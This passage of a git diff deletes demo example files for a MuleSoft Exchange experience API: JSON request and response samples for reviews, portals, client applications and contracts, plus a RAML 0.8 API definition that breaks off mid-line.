Salesforce Org B or the Database by Name. The last step of the Process stage will group the accounts and create/update them in Salesforce Org B. - -Finally during the On Complete stage the Anypoint Template will log output statistics data into the console. - -Read more about the Publish-Subscribe pattern in [this](http://blogs.mulesoft.com/introducing-pubsub-pattern-anypoint-templates/) blog post diff --git a/demo/exchange-experience-api/examples/pageCreate.json b/demo/exchange-experience-api/examples/pageCreate.json deleted file mode 100644 index 0e54fcc..0000000 --- a/demo/exchange-experience-api/examples/pageCreate.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "pagePath": "docs/faq" -} diff --git a/demo/exchange-experience-api/examples/pages.json b/demo/exchange-experience-api/examples/pages.json deleted file mode 100644 index 2fbc190..0000000 --- a/demo/exchange-experience-api/examples/pages.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "path": "home.md", - "name": "Home page" - }, - { - "path": "/examples/example.md", - "name": "Example Page" - } -] diff --git a/demo/exchange-experience-api/examples/patch-API-instance-body.json b/demo/exchange-experience-api/examples/patch-API-instance-body.json deleted file mode 100644 index da203d2..0000000 --- a/demo/exchange-experience-api/examples/patch-API-instance-body.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "name": "Production - US", - "endpointUri": "http://dog.domain.tld.com/much/doge", - "isPublic": true -} diff --git a/demo/exchange-experience-api/examples/patch-asset-metadata.json b/demo/exchange-experience-api/examples/patch-asset-metadata.json deleted file mode 100644 index 4c93e7d..0000000 --- a/demo/exchange-experience-api/examples/patch-asset-metadata.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "type": "anyType", - "name": "anyName", - "description": "anyDescription", - "isCompleted": true, - "tags": [ - { - "value": "Twitter" - }, - { - "value": "Finance", - "key": "App" - }, - { - "value": "Enterprise IT" - }, - { - "value": "HTTP", - "key": "Protocol" - } - ] -} diff --git a/demo/exchange-experience-api/examples/patch-client-application-body.json b/demo/exchange-experience-api/examples/patch-client-application-body.json deleted file mode 100644 index 0288a6c..0000000 --- a/demo/exchange-experience-api/examples/patch-client-application-body.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "description": "TestRequestAPIAccess description", - "name": "TestRequestAPIAccess", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "url": "https://localhost:8080", - "masterOrganizationId": "2f17a3df-a5f9-45e8-a8b4-41bd26d89236", - "clientId": "49670e55b98b4ad2be0b6fc20d2cafa2", - "clientSecret": "0fD00492a2554e5f9857598Dbd675472", - "id": 3 -} diff --git a/demo/exchange-experience-api/examples/patch-client-application-response.json b/demo/exchange-experience-api/examples/patch-client-application-response.json deleted file mode 100644 index 0288a6c..0000000 --- a/demo/exchange-experience-api/examples/patch-client-application-response.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "description": "TestRequestAPIAccess description", - "name": "TestRequestAPIAccess", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "url": "https://localhost:8080", - "masterOrganizationId": "2f17a3df-a5f9-45e8-a8b4-41bd26d89236", - "clientId": "49670e55b98b4ad2be0b6fc20d2cafa2", - "clientSecret": "0fD00492a2554e5f9857598Dbd675472", - "id": 3 -} diff --git a/demo/exchange-experience-api/examples/patch-review-body.json b/demo/exchange-experience-api/examples/patch-review-body.json deleted file mode 100644 index a4774fd..0000000 --- a/demo/exchange-experience-api/examples/patch-review-body.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "rating": 5, - "text": "This is a review" -} diff --git a/demo/exchange-experience-api/examples/patch-review-comment-body.json b/demo/exchange-experience-api/examples/patch-review-comment-body.json deleted file mode 100644 index 630349c..0000000 --- a/demo/exchange-experience-api/examples/patch-review-comment-body.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "text": "This is a review comment" -} diff --git a/demo/exchange-experience-api/examples/portal.json b/demo/exchange-experience-api/examples/portal.json deleted file mode 100644 index 13bb411..0000000 --- a/demo/exchange-experience-api/examples/portal.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "draftStatus": "PUBLISHED", - "pages": [ - { - "path": "home.md", - "name": "Home page" - }, - { - "path": "/examples/example.md", - "name": "Example Page" - } - ] -} diff --git a/demo/exchange-experience-api/examples/portalCustomization.json b/demo/exchange-experience-api/examples/portalCustomization.json deleted file mode 100644 index a677b3a..0000000 --- a/demo/exchange-experience-api/examples/portalCustomization.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "customization": { - "home": { - "heroImage": "", - "welcomeTitle": "Welcome to the Portal", - "welcomeText": "content", - "textColor": "#000000" - } - }, - "pages": [ - { - "path": "home.md", - "name": "Home page" - }, - { - "path": "/examples/example.md", - "name": "Example Page" - } - ] -} diff --git a/demo/exchange-experience-api/examples/portalCustomizationUpdate.json b/demo/exchange-experience-api/examples/portalCustomizationUpdate.json deleted file mode 100644 index c8aaa2d..0000000 --- a/demo/exchange-experience-api/examples/portalCustomizationUpdate.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "customization": { - "home": { - "heroImage": "", - "welcomeTitle": "Welcome to the Portal", - "welcomeText": "content", - "textColor": "#000000" - } - } -} diff --git a/demo/exchange-experience-api/examples/post-API-instance-body.json b/demo/exchange-experience-api/examples/post-API-instance-body.json deleted file mode 100644 index da203d2..0000000 --- a/demo/exchange-experience-api/examples/post-API-instance-body.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "name": "Production - US", - "endpointUri": "http://dog.domain.tld.com/much/doge", - "isPublic": true -} diff --git a/demo/exchange-experience-api/examples/post-asset-multipart.txt b/demo/exchange-experience-api/examples/post-asset-multipart.txt deleted file mode 100644 index 553ed35..0000000 --- a/demo/exchange-experience-api/examples/post-asset-multipart.txt +++ /dev/null @@ -1,29 +0,0 @@ -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="organizationId" - -c44be829-3d89-4b70-80be-277b7633bc5a -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="groupId" - -c44be829-3d89-4b70-80be-277b7633bc5a -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="assetId" - -http-api -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="version" - -1.0.0 -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="name" - -HTTP API -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="classifier" - -http -------WebKitFormBoundaryTjIAeJhWzfnFLKzF -Content-Disposition: form-data; name="apiVersion" - -v1 -------WebKitFormBoundaryTjIAeJhWzfnFLKzF-- \ No newline at end of file diff --git a/demo/exchange-experience-api/examples/post-client-application-body.json b/demo/exchange-experience-api/examples/post-client-application-body.json deleted file mode 100644 index 61b98de..0000000 --- a/demo/exchange-experience-api/examples/post-client-application-body.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "description": "TestRequestAPIAccess description", - "name": "TestRequestAPIAccess", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "url": "https://localhost:8080" -} diff --git a/demo/exchange-experience-api/examples/post-client-application-response.json b/demo/exchange-experience-api/examples/post-client-application-response.json deleted file mode 100644 index 0288a6c..0000000 --- a/demo/exchange-experience-api/examples/post-client-application-response.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "description": "TestRequestAPIAccess description", - "name": "TestRequestAPIAccess", - "grantTypes": [ - "password", - "implicit", - "client_credentials", - "authorization_code", - "refresh_token" - ], - "redirectUri": [ - "http://localhost:9090", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html", - "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html", - "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html" - ], - "url": "https://localhost:8080", - "masterOrganizationId": "2f17a3df-a5f9-45e8-a8b4-41bd26d89236", - "clientId": "49670e55b98b4ad2be0b6fc20d2cafa2", - "clientSecret": "0fD00492a2554e5f9857598Dbd675472", - "id": 3 -} diff --git a/demo/exchange-experience-api/examples/post-contract-response.json b/demo/exchange-experience-api/examples/post-contract-response.json deleted file mode 100644 index 9249ec8..0000000 --- a/demo/exchange-experience-api/examples/post-contract-response.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "clientId": "314e6d88-4c0f-4259-95e1-2c9b06bffb6c", - "clientSecret": "2f17a3df-a5f9-45e8-a8b4-41bd26d89236", - "id": 1000, - "status": "ACTIVE", - "tier": { - "description": "est nihil magnam dolore et ipsa nulla omnis\ncupiditate consectetur qui tempore quaerat et consequatur sunt eos enim\nesse quasi et qui quis dolorum", - "id": 35, - "limits": [ - { - "maximumRequests": 10000000, - "timePeriodInMilliseconds": 2592000000 - } - ], - "name": "enim 35", - "status": "DEPRECATED" - } -} diff --git a/demo/exchange-experience-api/examples/post-contract.json b/demo/exchange-experience-api/examples/post-contract.json deleted file mode 100644 index 5cf7bc8..0000000 --- a/demo/exchange-experience-api/examples/post-contract.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "acceptedTerms": true, - "apiId": 2345, - "environmentId": 1234, - "requestedTierId": 100, - "termsText": "These are the terms and conditions" -} diff --git a/demo/exchange-experience-api/examples/post-review-body.json b/demo/exchange-experience-api/examples/post-review-body.json deleted file mode 100644 index d16b1e2..0000000 --- a/demo/exchange-experience-api/examples/post-review-body.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "rating": 3, - "title": "this is the review title", - "text": "This is a review" -} diff --git a/demo/exchange-experience-api/examples/post-review-comment-body.json b/demo/exchange-experience-api/examples/post-review-comment-body.json deleted file mode 100644 index 630349c..0000000 --- a/demo/exchange-experience-api/examples/post-review-comment-body.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "text": "This is a review comment" -} diff --git a/demo/exchange-experience-api/examples/post-search-versions-reviews-result-body.json b/demo/exchange-experience-api/examples/post-search-versions-reviews-result-body.json deleted file mode 100644 index edc8fe7..0000000 --- a/demo/exchange-experience-api/examples/post-search-versions-reviews-result-body.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - "1.0.0", - "2.0.0", - "3.0.0", - "22.0.0" -] diff --git a/demo/exchange-experience-api/examples/profile.json b/demo/exchange-experience-api/examples/profile.json deleted file mode 100644 index a763589..0000000 --- a/demo/exchange-experience-api/examples/profile.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "username": "username" -} diff --git a/demo/exchange-experience-api/examples/public-versions.json b/demo/exchange-experience-api/examples/public-versions.json deleted file mode 100644 index c91e9e7..0000000 --- a/demo/exchange-experience-api/examples/public-versions.json +++ /dev/null @@ -1,8 +0,0 @@ -[ - { - "productAPIVersion": "v1" - }, - { - "productAPIVersion": "v2" - } -] diff --git a/demo/exchange-experience-api/examples/rating.json b/demo/exchange-experience-api/examples/rating.json deleted file mode 100644 index 7f30ffd..0000000 --- a/demo/exchange-experience-api/examples/rating.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "group": "com.mulesoft", - "assetId": "someasset", - "version": "1.0.0", - "rating": 5.22, - "numberOfRates": 45 -} diff --git a/demo/exchange-experience-api/examples/review-comment.json b/demo/exchange-experience-api/examples/review-comment.json deleted file mode 100644 index d0ff252..0000000 --- a/demo/exchange-experience-api/examples/review-comment.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "id": "e47b5e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "reviewId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "assetId": "Test-connector-1", - "version": "1.0.1", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "text": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" -} diff --git a/demo/exchange-experience-api/examples/review-comments.json b/demo/exchange-experience-api/examples/review-comments.json deleted file mode 100644 index 43c9491..0000000 --- a/demo/exchange-experience-api/examples/review-comments.json +++ /dev/null @@ -1,24 +0,0 @@ -[ - { - "id": "e47b5e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "reviewId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "assetId": "Test-connector-1", - "version": "1.1.0", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "text": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" - }, - { - "id": "e65n8e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "reviewId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "assetId": "Test-connector-1", - "version": "2.2", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "text": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" - } -] diff --git a/demo/exchange-experience-api/examples/review.json b/demo/exchange-experience-api/examples/review.json deleted file mode 100644 index 27da206..0000000 --- a/demo/exchange-experience-api/examples/review.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "id": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "userId": "Test-connector-1", - "version": "1.0.0", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "rating": 5, - "text": "Hey, this is a review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z", - "comments": [ - { - "id": "e47b5e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "comment": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" - } - ] -} diff --git a/demo/exchange-experience-api/examples/reviews.json b/demo/exchange-experience-api/examples/reviews.json deleted file mode 100644 index 7d65eac..0000000 --- a/demo/exchange-experience-api/examples/reviews.json +++ /dev/null @@ -1,21 +0,0 @@ -[ - { - "id": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "userId": "Test-connector-1", - "version": "1.0.0", - "organizationId": "cccdb637d-9c15-4237-5341-c87c0s82c4f2", - "rating": 5, - "text": "Hey, this is a review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z", - "comments": [ - { - "id": "e47b5e4c-ea78-4f21-9d78-398762667cdd", - "userId": "0fcd1f70-6181-49f9-98e1-bce958bb391d", - "comment": "Hey, this is a comment for the review", - "createdDate": "2016-07-15T17:33:36.542Z", - "updatedDate": "2016-07-15T17:33:36.542Z" - } - ] - } -] diff --git a/demo/exchange-experience-api/examples/search-queries.json b/demo/exchange-experience-api/examples/search-queries.json deleted file mode 100644 index 09ad905..0000000 --- a/demo/exchange-experience-api/examples/search-queries.json +++ /dev/null @@ -1,8 +0,0 @@ -[{ - "name": "name", - "types": [ - "connector", - "rest-api" - ], - "search": "salesforce" -}] diff --git a/demo/exchange-experience-api/examples/search-query.json b/demo/exchange-experience-api/examples/search-query.json deleted file mode 100644 index 343f4c5..0000000 --- a/demo/exchange-experience-api/examples/search-query.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "name": "name", - "types": [ - "connector", - "rest-api" - ], - "search": "salesforce" -} diff --git a/demo/exchange-experience-api/examples/tags.json b/demo/exchange-experience-api/examples/tags.json deleted file mode 100644 index 064c4bf..0000000 --- a/demo/exchange-experience-api/examples/tags.json +++ /dev/null @@ -1,22 +0,0 @@ -[ - { - "value": "Twitter", - "key": "Apps", - "mutable": true - }, - { - "value": "Finance", - "key": "Others", - "mutable": true - }, - { - "value": "Enterprise IT", - "key": "IT", - "mutable": true - }, - { - "value": "HTTP", - "key": "Tech", - "mutable": true - } -] diff --git a/demo/exchange-experience-api/examples/tiers.json b/demo/exchange-experience-api/examples/tiers.json deleted file mode 100644 index 0203d81..0000000 --- a/demo/exchange-experience-api/examples/tiers.json +++ /dev/null @@ -1,26 +0,0 @@ -[ - { - "id": 100, - "name": "Free", - "description": null, - "limits": [ - { - "timePeriodInMilliseconds": 10000, - "maximumRequests": 10 - } - ], - "status": "ACTIVE" - }, - { - "id": 101, - "name": "Cheap", - "description": null, - "limits": [ - { - "timePeriodInMilliseconds": 1000, - "maximumRequests": 10 - } - ], - "status": "ACTIVE" - } -] diff --git a/demo/exchange-experience-api/examples/users.json b/demo/exchange-experience-api/examples/users.json deleted file mode 100644 index a688e5c..0000000 --- a/demo/exchange-experience-api/examples/users.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97", - "username": "char", - "firstName": "Charlie", - "lastName": "Brown", - "profilePhoto": "http://my-photos.com/char.jpg", - "email": "char@wash.com" - } -] diff --git a/demo/exchange-experience-api/exchange-experience-api.raml b/demo/exchange-experience-api/exchange-experience-api.raml deleted file mode 100644 index d17e0b8..0000000 --- a/demo/exchange-experience-api/exchange-experience-api.raml +++ /dev/null @@ -1,1069 +0,0 @@ -#%RAML 0.8 -title: exchange-xapi -version: v1 -mediaType: application/json -baseUri: https://anypoint.mulesoft.com/exchange/api/v1 - -traits: - - searchable: !include traits/searchable.raml - - deleteable: !include traits/deleteable.raml - - pagePoster: - description: | - Creates an empty page for a draft version. Remember that: - - A page cannot be moved/created to/in a path that already contains another page with the same name. - headers: - x-move-source: - type: string - description: | - This header is used when you want to rename or move an existing page. - `x-move-source` specifies the path of the page or folder that wants to be moved, the source. - The request body property `path` will be the destination. - example: "/examples/" - body: - schema: !include schemas/pageCreate.json - example: !include examples/pageCreate.json - -securitySchemes: - - oauth_2_0: !include securitySchemes/oauth2.raml - -resourceTypes: - - assets: - usage: Use this resourceType to represent a collection of assets - description: A collection of assets - get: - is: [ searchable ] - securedBy: [oauth_2_0] - description: Get a paginated set of assets - responses: - 200: - body: - application/json: - schema: !include schemas/assets.json - example: !include examples/assets.json - - - portal: - usage: Use this resourceType to represent an asset portal - description: An Asset portal - get: - securedBy: [oauth_2_0] - description: Get an asset portal - responses: - 200: - body: - application/json: - schema: !include schemas/portal.json - example: !include examples/portal.json - - - page: - usage: Use this resourceType to represent any single page - description: A single asset page - get: - securedBy: [oauth_2_0] - description: Get a particular page - responses: - 200: - body: - text/html: - example: !include examples/page.html - text/markdown: - example: !include examples/page.md - application/json: - example: !include examples/page.json - - - editablePage: - type: page - usage: when edition is needed - put: - securedBy: [oauth_2_0] - description: Update a page for a <> portal - body: - text/markdown: - example: !include examples/page.md - responses: - 204: - description: Page updated - delete: - securedBy: [oauth_2_0] - description: Delete a page of a <> portal - responses: - 204: - description: Page deleted - - - pages: - usage: Use this resourceType to represent a collection of pages - description: A collection of pages - get: - securedBy: [oauth_2_0] - description: Get a list of pages - responses: - 200: - body: - application/json: - example: !include examples/pages.json - schema: !include schemas/pages.json - - - users: - usage: Use this resourceType to represent a collection of users - description: A collection of pages - get: - securedBy: [oauth_2_0] - description: Get users for an organization - queryParameters: - search: - displayName: Search - type: string - description: Filter results that partially match the input with the asset name - example: "My example" - limit: - displayName: Limit - type: number - description: Amount of objects retrieved in the response - example: 10 - offset: - displayName: Offset - type: number - description: The offset specifies the offset of the first row to return - example: 1 - responses: - 200: - body: - application/json: - schema: !include schemas/users.json - example: !include examples/users.json - - - reviews: - usage: Use this resourceType to represent a collection of asset reviews - description: A collection of asset reviews - get: - securedBy: [oauth_2_0] - description: Get a list of reviews - queryParameters: - includeComments: - displayName: IncludeComments - type: boolean - description: Indicates to include comments or not in reviews - example: false - responses: - 200: - body: - application/json: - schema: !include schemas/reviews.json - example: !include examples/reviews.json - post: - securedBy: [oauth_2_0] - description: Creates a new asset review - body: - application/json: - schema: !include schemas/post-review-body.json - example: !include examples/post-review-body.json - responses: - 201: - body: - application/json: - schema: !include schemas/review.json - example: !include examples/review.json - - - review: - usage: Use this resourceType to represent any single review - description: A single asset review - patch: - securedBy: [oauth_2_0] - description: Edit an asset review - body: - application/json: - schema: !include schemas/patch-review-body.json - example: !include examples/patch-review-body.json - responses: - 200: - body: - application/json: - example: !include examples/review.json - delete: - securedBy: [oauth_2_0] - description: Deletes an specific asset review. - responses: - 204: - description: Review deleted - - - rating: - usage: Use this resourceType to represent the rating of an asset - description: Rating of asset - get: - securedBy: [oauth_2_0] - description: Get the asset rating - responses: - 200: - body: - application/json: - schema: !include schemas/rating.json - example: !include examples/rating.json - - - comments: - usage: Use this resourceType to represent a collection of an asset review comments - description: A collection of asset review comments - post: - securedBy: [oauth_2_0] - description: Creates a new review comment. - body: - application/json: - schema: !include schemas/post-review-comment-body.json - example: !include examples/post-review-comment-body.json - responses: - 201: - body: - application/json: - example: !include examples/review-comment.json - - - comment: - usage: Use this resourceType to represent the comment of an asset review - description: A single asset review comment - patch: - securedBy: [oauth_2_0] - description: Edit a comment - body: - application/json: - schema: !include schemas/patch-review-comment-body.json - example: !include examples/patch-review-comment-body.json - responses: - 200: - body: - application/json: - example: !include examples/review-comment.json - delete: - securedBy: [oauth_2_0] - description: Deletes an specific asset review comment. - responses: - 204: - description: comment deleted - - - assetUsers: - usage: Use this resourceType to represent a collection of users assigned to an asset - description: A collection of assigned asset users - get: - securedBy: [oauth_2_0] - description: Get users assigned to the asset - responses: - 200: - body: - application/json: - schema: !include schemas/asset-users.json - example: !include examples/asset-users.json - put: - securedBy: [oauth_2_0] - description: Assign users to an asset - body: - schema: !include schemas/assign-users.json - example: !include examples/assign-users.json - responses: - 204: - description: User assigned to the asset - - - clientApplications: - usage: Use this resourceType to represent a collection of client applications - description: A collection of client applications - get: - securedBy: [oauth_2_0] - description: List of client applications - queryParameters: - # these parameters were imported from consumersV1.raml from api-platform-api - includeContractsForApiVersion: - type: integer - description: This field is used to filter by API version - sort: - description: Property to sort by - type: string - ascending: - description: Order for sorting - type: boolean - query: - description: Search criteria - type: string - offset: - description: The offset specifies the offset of the first row to return. - type: number - limit: - description: Amount of objects retrieved in the response. - type: number - responses: - 200: - body: - application/json: - schema: !include schemas/client-applications.json - example: !include examples/client-applications.json - post: - securedBy: [oauth_2_0] - description: Adds a client application - body: - application/json: - example: !include examples/post-client-application-body.json - responses: - 200: - body: - application/json: - example: !include examples/post-client-application-response.json - - - contractCollection: - usage: Use this resourceType to represent a contract collection - description: A collection of contracts - get: - securedBy: [oauth_2_0] - description: Retrieves a list of applications with contracts with the application - queryParameters: - includeContractsForApiVersion: - type: integer - description: This field is used to filter by API version - responses: - 200: - body: - application/json: - schema: !include schemas/contracts.json - example: !include examples/contracts.json - post: - securedBy: [oauth_2_0] - description: Creates new contract between an API version and the application. - body: - application/json: - example: !include examples/post-contract.json - responses: - 201: - body: - application/json: - schema: !include schemas/contract.json - example: !include examples/post-contract-response.json - - - tiers: - usage: Use this resourceType to represent tiers - description: Tiers - get: - securedBy: [oauth_2_0] - description: Retrieves a list of tiers - responses: - 200: - body: - application/json: - schema: !include schemas/tiers.json - example: !include examples/tiers.json - - - queries: - usage: Use this resourceType to represent saved search queries - description: Saved search queries - get: - securedBy: [oauth_2_0] - description: Get saved searches queries - responses: - 200: - body: - application/json: - schema: !include schemas/search-queries.json - example: !include examples/search-queries.json - post: - securedBy: [oauth_2_0] - description: Create a new query by organization - body: - application/json: - schema: !include schemas/create-search-query.json - example: !include examples/search-query.json - responses: - 201: - body: - application/json: - example: !include examples/search-query.json - - - query: - usage: Use this resourceType to represent a saved search query - description: A saved search query - patch: - securedBy: [oauth_2_0] - description: Put a saved search query - body: - application/json: - schema: !include schemas/update-search-query.json - example: !include examples/search-query.json - responses: - 201: - body: - application/json: - example: !include examples/search-query.json - delete: - securedBy: [oauth_2_0] - description: Delete the query - responses: - 204: - description: Saved search query deleted - - -/ping: - displayName: Ping - description: Check API status - get: - responses: - 200: - body: - application/json: - example: | - { - "status": "ok" - } - -/health: - displayName: Health - get: - responses: - 200: - body: - application/json: - example: !include examples/health-response.json - -/profile: - displayName: Profile - description: User profile - get: - securedBy: [oauth_2_0] - description: Get user profile - responses: - 200: - body: - application/json: - example: !include examples/profile.json - -/organizations/{organizationId}: - displayName: Organizations - description: Organizations by id - uriParameters: - organizationId: - description: Id of an organization - type: string - maxLength: 36 - pattern: ^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$ - example: "e9326910-756d-abe0-e69e-a71d05412a6d" - - /queries: - displayName: Queries - type: queries - - /{queryId}: - displayName: Query - type: query - - /assets/{groupId}/{assetId}: - description: Assets by group and asset id - displayName: Group Asset - delete: - securedBy: [oauth_2_0] - is: [ deleteable ] - description: Delete asset - responses: - 204: - description: Asset deleted - 409: - description: There were conflicts while deleting - - /public: - description: Public assets - displayName: Public - get: - securedBy: [oauth_2_0] - description: Return the public asset versions - responses: - 200: - body: - application/json: - example: !include examples/public-versions.json - put: - securedBy: [oauth_2_0] - description: Set the public asset versions - body: - application/json: - schema: !include schemas/public-versions.json - example: !include examples/public-versions.json - - /users: - description: Users - displayName: Users - type: assetUsers - - /productApiVersion/{productApiVersion}: - description: Assets by product API version - displayName: API Version - uriParameters: - productApiVersion: - description: The id of the productApiVersion - type: string - example: "v1" - - /instances: - displayName: Instances - description: A collection of available environments for a product API version - - /{apiId}/tiers: - displayName: Tiers - description: A collection of the available SLA Tiers for a given environmentId/apiId - type: tiers - uriParameters: - apiId: - description: The id of the API - type: integer - - /external: - description: External instances - displayName: External - post: - securedBy: [oauth_2_0] - description: Creates a new external API instance - body: - application/json: - schema: !include schemas/post-API-instance-body.json - example: !include examples/post-API-instance-body.json - responses: - 201: - body: - application/json: - schema: !include schemas/API-instance.json - example: !include examples/API-instance.json - /{id}: - description: A single instance - displayName: Id - uriParameters: - id: - description: Id of the external instance - type: string - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - patch: - securedBy: [oauth_2_0] - description: Updates an existing external API instance - body: - application/json: - schema: !include schemas/patch-API-instance-body.json - example: !include examples/patch-API-instance-body.json - responses: - 404: - description: External instance not found - 204: - description: External instance updated - delete: - securedBy: [oauth_2_0] - description: Deletes an existing external API instance - responses: - 404: - description: External instance not found - 204: - description: External instance deleted - /managed: - /{id}: - description: A single managed instance - displayName: Managed - uriParameters: - id: - description: Id of the managed instance - type: string - example: '9897' - patch: - securedBy: [oauth_2_0] - description: Updates an existing managed API instance - body: - application/json: - schema: !include schemas/patch-API-instance-body.json - example: !include examples/patch-API-instance-body.json - responses: - 204: - description: Managed instance updated - 404: - description: External instance not found - - /reviews/search: - description: Reviews search - displayName: Reviews Search - post: - securedBy: [oauth_2_0] - queryParameters: - includeComments: - description: Include comments for reviews - type: boolean - description: Search for asset versions reviews - body: - application/json: - schema: !include schemas/post-search-versions-reviews-body.json - example: !include examples/post-search-versions-reviews-result-body.json - responses: - 200: - body: - application/json: - example: !include examples/reviews.json - /{version}: - description: Asset version - displayName: Version - delete: - securedBy: [oauth_2_0] - is: [ deleteable ] - description: Delete asset version - responses: - 204: - description: Asset version deleted - 409: - description: There were conflicts while deleting - /metadata: - description: Asset metadata - displayName: Metadata - patch: - securedBy: [oauth_2_0] - description: Update metadata - responses: - 204: - description: Metadata updated - body: - application/json: - schema: !include schemas/metadata.json - example: !include examples/patch-asset-metadata.json - /tags: - description: Asset tags - displayName: Tags - put: - securedBy: [oauth_2_0] - description: Update tags - responses: - 204: - description: Tags updated - body: - application/json: - schema: !include schemas/tags.json - example: !include examples/tags.json - - /portal: - description: Asset portal - displayName: Portal - type: portal - patch: - description: Publish draft version - responses: - 204: - description: Portal updated - 404: - description: Portal does not exist - 409: - description: There were conflicts while publishing - - /pages: - displayName: Pages - type: pages - /{+pagePath}: - displayName: Page - type: page - - /draft: - description: Asset portal draft - displayName: Portal Draft - type: portal - - /pages: - displayName: Pages - type: pages - post: - securedBy: [oauth_2_0] - is: [pagePoster] - responses: - 201: - description: Page created. - 409: - description: "Page already exists" - - /{+pagePath}: - description: A single page path - displayName: Page path - get: - securedBy: [oauth_2_0] - description: Get pages for an specific version of an asset - type: {editablePage: {type: "version of an asset"}} - - /reviews: - displayName: Reviews - type: reviews - - /{reviewId}: - displayName: Review - type: review - uriParameters: - reviewId: - description: Id of the review. It is a UUID. - type: string - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - - /comments: - displayName: Comments - type: comments - - /{commentId}: - displayName: Comment - type: comment - uriParameters: - commentId: - description: Id of the review comment. It is a 